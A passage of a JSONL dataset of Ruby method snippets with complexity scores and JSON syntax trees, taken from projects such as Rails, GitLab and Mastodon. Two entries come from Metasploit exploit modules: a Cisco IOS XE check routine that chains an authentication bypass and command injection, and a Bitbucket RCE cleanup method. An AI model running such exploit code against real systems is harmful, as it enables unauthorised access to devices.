ty\"]}]}]}]}]}]}]}","id":"39c94a82-fbb3-403b-b8d9-4c4bba94b9ed"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/maps/hexagon_center_manager.rb","start_line":34,"raw_source":"def recalculate_h3_hex_ids\n      Stats::HexagonCalculator.new(user.id, stat.year, stat.month).call\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"recalculate_h3_hex_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stats\"]},\"HexagonCalculator\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stat\"]},\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stat\"]},\"month\"]}]},\"call\"]}]}","id":"519c574f-3a11-4c35-beb5-166b92f909c1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":854,"raw_source":"def stop_event_monitor\n    return if event_monitor_class.nil?\n\n    _log.info(\"EMS [#{name}] id [#{id}]: Stopping event monitor.\")\n    event_monitor_class.stop_worker_for_ems(self)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_event_monitor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_monitor_class\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"EMS [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"] id [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"]: Stopping event monitor.\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_monitor_class\"]},\"stop_worker_for_ems\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"2a858ba7-6f45-4f42-a86a-7e237977651f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":1682,"raw_source":"def test_delete_uses_query_constraints_config\n    clothing_item = clothing_items(:green_t_shirt)\n    sql = capture_sql { clothing_item.delete }.first\n    assert_match(/WHERE .*clothing_type/, sql)\n    assert_match(/WHERE .*color/, sql)\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete_uses_query_constraints_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"clothing_item\",{\"type\":\"send\",\"children\":[null,\"clothing_items\",{\"type\":\"sym\",\"children\":[\"green_t_shirt\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"clothing_item\"]},\"delete\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"WHERE .*clothing_type\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"WHERE .*color\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}]}","id":"82d5ba2c-dcef-4529-b467-2839395531f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/cisco_ios_xe_rce.rb","start_line":124,"raw_source":"def check\n    # First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with\n    # the Web UI exposed (which is the vulnerable component).\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri('webui', '/')\n    )\n\n    return CheckCode::Unknown('Connection failed') unless res\n\n    # We look for one of two identifiers to ensure the request to /webui/ above returns something with Cisco in the content.\n    if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com'))\n      return CheckCode::Unknown('Web UI not detected')\n    end\n\n    # By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number,\n    # so if this request succeeds, then we know the target is vulnerable.\n    res = run_cli_command('show version', Mode::PRIVILEGED_EXEC)\n\n    # If the above request failed, then the target is safe.\n    return CheckCode::Safe unless res\n\n    version = 'Cisco IOS XE Software'\n\n    # If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable\n    # (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format\n    # for the version information so our regex wont work.\n    # Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2\n    if res =~ /(Cisco IOS XE Software, Version \\S+\\.\\S+\\.\\S+)/\n      version = Regexp.last_match(1)\n    end\n\n    # Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example,\n    # it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not\n    # vulnerable to CVE-2023-20273, even though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.\n    # As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs\n    # work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via\n    # CVE-2023-20198).\n    begin\n      # NOTE: We pass verbose as false, because a check routine should not print status messages to the console, and\n      # do_auth_bypass may print several status messages if verbose is true.\n      do_auth_bypass(verbose: false) do |username, password|\n        do_rce_check(username, password)\n      end\n    rescue Msf::Exploit::Failed => e\n      # If either the auth bypass, or the command injection have failed (via a call to fail_with), we catch the\n      # exception here and return a CheckCode of Safe to indicate this target is not vulnerable. We can provide\n      # some additional context to the user by passing the Failure message to the CheckCode.\n      return CheckCode::Safe(\"#{e}. #{version}\")\n    end\n\n    CheckCode::Vulnerable(version)\n  end","complexity_score":37.75,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"webui\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Cisco Systems, Inc.\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Security-Policy\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"cisco.com\"]}]},\"!\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Web UI not detected\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"run_cli_command\",{\"type\":\"str\",\"children\":[\"show version\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mode\"]},\"PRIVILEGED_EXEC\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"str\",\"children\":[\"Cisco IOS XE Software\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(Cisco IOS XE Software, Version \\\\S+\\\\.\\\\S+\\\\.\\\\S+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"last_match\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"do_auth_bypass\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]},{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[null,\"do_rce_check\",{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failed\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\". \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}","id":"659dd7a9-0739-486f-a234-399f24f494ec"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/recurring_meetings_controller.rb","start_line":220,"raw_source":"def notify\n    if deliver_invitation_mails == false\n      flash[:error] = I18n.t(:error_notification)\n    else\n      flash[:notice] = I18n.t(:notice_successful_notification)\n    end\n\n    redirect_to action: :show\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"notify\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deliver_invitation_mails\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"error_notification\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_notification\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"show\"]}]}]}]}]}]}","id":"afc81607-e7bc-488c-b84a-828ffd9d1a6f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/credentials/credentials_command/diffing.rb","start_line":37,"raw_source":"def enrolled_in_credentials_diffing?\n      gitattributes.file? && gitattributes.read.include?(GITATTRIBUTES_ENTRY)\n    end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"enrolled_in_credentials_diffing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitattributes\"]},\"file?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitattributes\"]},\"read\"]},\"include?\",{\"type\":\"const\",\"children\":[null,\"GITATTRIBUTES_ENTRY\"]}]}]}]}","id":"b09af7ee-5690-4876-86a9-9607362566ed"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/uploads_controller.rb","start_line":261,"raw_source":"def force_download?\n    params[:dl] == \"1\"\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"force_download?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dl\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]}]}","id":"fabcc909-1a93-4039-8e00-1d64a393781a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/pull_request_formatter.rb","start_line":67,"raw_source":"def target_branch_name_prefixed\n        \"gl-#{target_branch_short_sha}/#{number}/#{target_branch_user}/#{target_branch_ref}\"\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"target_branch_name_prefixed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"gl-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_branch_short_sha\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"number\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_branch_user\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_branch_ref\"]}]}]}]}","id":"b82945fb-4b45-4507-9791-dddaf34fb5e8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/bitbucket_env_var_rce.rb","start_line":421,"raw_source":"def delete_repository(username)\n    vprint_status(\"Attempting to delete repository '#{@repo_name}'\")\n    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)\n    res = send_request_cgi(\n      'method' => 'DELETE',\n      'uri' => repo_uri,\n      'keep_cookies' => true,\n      'headers' => {\n        'X-AUSERNAME' => username,\n        'X-AUSERID' => @user_id,\n        'X-Requested-With' => 'XMLHttpRequest',\n        'Origin' => \"#{ssl ? 'https' : 'http'}://#{peer}\",\n        'ctype' => 'application/json',\n        'Accept' => 'application/json, text/javascript'\n      }\n    )\n\n    unless res&.body&.include?('scheduled for deletion')\n      print_warning('Failed to delete repository')\n      return\n    end\n\n    print_good('Repository has been deleted')\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_repository\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"username\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to delete repository '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_name\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"repo_uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"projects\"]},{\"type\":\"ivar\",\"children\":[\"@project_key\"]},{\"type\":\"str\",\"children\":[\"repos\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repo_name\"]},\"downcase\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"DELETE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"repo_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-AUSERNAME\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-AUSERID\"]},{\"type\":\"ivar\",\"children\":[\"@user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Origin\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"str\",\"children\":[\"://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"application/json, text/javascript\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"scheduled for deletion\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to delete repository\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Repository has been deleted\"]}]}]}]}","id":"fe66c0aa-1554-494a-9ee1-600711894f85"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":634,"raw_source":"def test_default_scope_order_ignored_by_aggregations\n    assert_equal DeveloperOrderedBySalary.all.count, DeveloperOrderedBySalary.count\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_default_scope_order_ignored_by_aggregations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperOrderedBySalary\"]},\"all\"]},\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperOrderedBySalary\"]},\"count\"]}]}]}","id":"300125db-36cf-4199-ad65-52497e198483"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/web/helpers.rb","start_line":141,"raw_source":"def text_direction\n      get_locale[\"TextDirection\"] || \"ltr\"\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"text_direction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_locale\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TextDirection\"]}]},{\"type\":\"str\",\"children\":[\"ltr\"]}]}]}","id":"3077e5d0-fe2a-42ec-92f2-d15bb3ab8df5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/json_ld_helper.rb","start_line":128,"raw_source":"def patch_for_forwarding!(original, compacted)\n    original.without('@context', 'signature').each do |key, value|\n      next if value.nil? || !compacted.key?(key)\n\n      compacted_value = compacted[key]\n      if value.is_a?(Hash) && compacted_value.is_a?(Hash)\n        patch_for_forwarding!(value, compacted_value)\n      elsif value.is_a?(Array)\n        compacted_value = [compacted_value] unless compacted_value.is_a?(Array)\n        return nil if value.size != compacted_value.size\n\n        compacted[key] = value.zip(compacted_value).map do |v, vc|\n          if v.is_a?(Hash) && vc.is_a?(Hash)\n            patch_for_forwarding!(v, vc)\n            vc\n          elsif v == 'https://www.w3.org/ns/activitystreams#Public' && vc == 'as:Public'\n            v\n          else\n            vc\n          end\n        end\n      elsif value == 'https://www.w3.org/ns/activitystreams#Public' && compacted_value == 'as:Public'\n        compacted[key] = value\n      end\n    end\n  end","complexity_score":60.9,"ast_json":"{\"type\":\"def\",\"children\":[\"patch_for_forwarding!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"original\"]},{\"type\":\"arg\",\"children\":[\"compacted\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original\"]},\"without\",{\"type\":\"str\",\"children\":[\"@context\"]},{\"type\":\"str\",\"children\":[\"signature\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"!\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"compacted_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"send\",\"children\":[null,\"patch_for_forwarding!\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"compacted_value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted_value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"compacted_value\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted_value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"size\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted_value\"]},\"size\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"zip\",{\"type\":\"lvar\",\"children\":[\"compacted_value\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"vc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vc\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"patch_for_forwarding!\",{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"vc\"]}]},{\"type\":\"lvar\",\"children\":[\"vc\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"str\",\"children\":[\"https://www.w3.org/ns/activitystreams#Public\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vc\"]},\"==\",{\"type\":\"str\",\"children\":[\"as:Public\"]}]}]},{\"type\":\"lvar\",\"children\":[\"v\"]},{\"type\":\"lvar\",\"children\":[\"vc\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"str\",\"children\":[\"https://www.w3.org/ns/activitystreams#Public\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted_value\"]},\"==\",{\"type\":\"str\",\"children\":[\"as:Public\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compacted\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]}]}]}]}]}","id":"1e36cb8d-3c25-46a8-9549-e3eddebbf9dd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/rapid_diffs/base_presenter.rb","start_line":23,"raw_source":"def diffs_slice\n      return if offset.nil? || offset == 0\n\n      @diffs_slice ||= resource.first_diffs_slice(offset, @diff_options)\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diffs_slice\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offset\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"offset\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@diffs_slice\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"first_diffs_slice\",{\"type\":\"send\",\"children\":[null,\"offset\"]},{\"type\":\"ivar\",\"children\":[\"@diff_options\"]}]}]}]}]}","id":"5cbf7968-cf4b-4a87-8b1e-246524e91a9d"}
